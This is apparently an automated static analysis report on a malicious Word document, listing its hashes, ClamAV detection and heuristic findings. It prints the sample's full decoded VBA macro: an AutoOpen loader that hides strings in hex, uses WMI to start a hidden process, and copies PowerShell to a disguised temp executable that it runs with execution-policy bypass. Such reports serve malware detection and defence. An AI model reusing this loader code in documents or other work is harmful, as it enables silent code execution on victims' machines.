Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e755ddbb8a1154a3…

MALICIOUS

Office (OOXML)

16.4 KB Created: 2021-03-22 17:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: a13101a92c104f29930f07c1359a5325 SHA-1: a88a373cb7282f1b56ed6e329c2a650b7f33c5d7 SHA-256: e755ddbb8a1154a33145956bfca742b92f6200e78e0ea086912b1f6d35757314
300 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set tkctnnwijhclhttum = CreateObject(derckgshazux("5762656d536372") & derckgshazux("697074696e672e535762656d4c6f6361746f72"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set tkctnnwijhclhttum = CreateObject(derckgshazux("5762656d536372") & derckgshazux("697074696e672e535762656d4c6f6361746f72"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    temppath = Environ("tmp") + "\zubizuru.exe"
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2005 bytes
SHA-256: 6c52902afd5c9a96595f2fa149cb8bf23da331996d6f6bd11447e56dea5c648a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Set tkctnnwijhclhttum = CreateObject(derckgshazux("5762656d536372") & derckgshazux("697074696e672e535762656d4c6f6361746f72"))
Set fawnitzrqjuuhzrnxscw = tkctnnwijhclhttum.ConnectServer()
fawnitzrqjuuhzrnxscw.Security_.ImpersonationLevel = 3
Set askabgkgpfqbobir = fawnitzrqjuuhzrnxscw.Get(derckgshazux("5769") & derckgshazux("6e33325f50726f6365737353746172747570"))
Set girhwtdew = askabgkgpfqbobir.SpawnInstance_
girhwtdew.ShowWindow = 0
Set thzqtgqbtg = fawnitzrqjuuhzrnxscw.Get(derckgshazux("57696e3332") & derckgshazux("5f5072") + derckgshazux("6f6365") & derckgshazux("7373"))
temppath = Environ("tmp") + "\zubizuru.exe"
RunPath = temppath + derckgshazux("202d657865637520625970202d57694e642048696464654e202d63202470726f66696c65203d2024656e763a74656d702b27") & derckgshazux("5c7a757275626174657374696e67273b204e65772d4974656d202d50617468202470726f66696c65202d4974656d54797065202766696c6527202d466f726365")
Dim pshellPath
pshellPath = derckgshazux("433a5c5c57696e646f77735c5c53797374656d33325c5c5769") & derckgshazux("6e646f7773506f7765725368656c6c5c5c76312e305c5c706f7765") + derckgshazux("7273") & derckgshazux("6865") + derckgshazux("6c") & derckgshazux("6c2e657865")
Dim fso: Set jupsmlmhaxk = CreateObject(derckgshazux("53637269") & derckgshazux("7074696e672e46696c6553797374656d4f626a656374"))
jupsmlmhaxk.CopyFile pshellPath, temppath
errReturn = thzqtgqbtg.Create(RunPath, Null, girhwtdew, ProcessID)
End Sub
Private Function derckgshazux(ByVal jrdouodjutja As String) As String
Dim iqubeuhrjoii As Long
For iqubeuhrjoii = 1 To Len(jrdouodjutja) Step 2
derckgshazux = derckgshazux & Chr$(Val("&H" & Mid$(jrdouodjutja, iqubeuhrjoii, 2)))
Next iqubeuhrjoii
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: ee9f112de561a7387e10ffd7c0365131a265bce98666537a567a7dde842792c1
Detection
ClamAV: Doc.Malware.Valyria-6923224-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).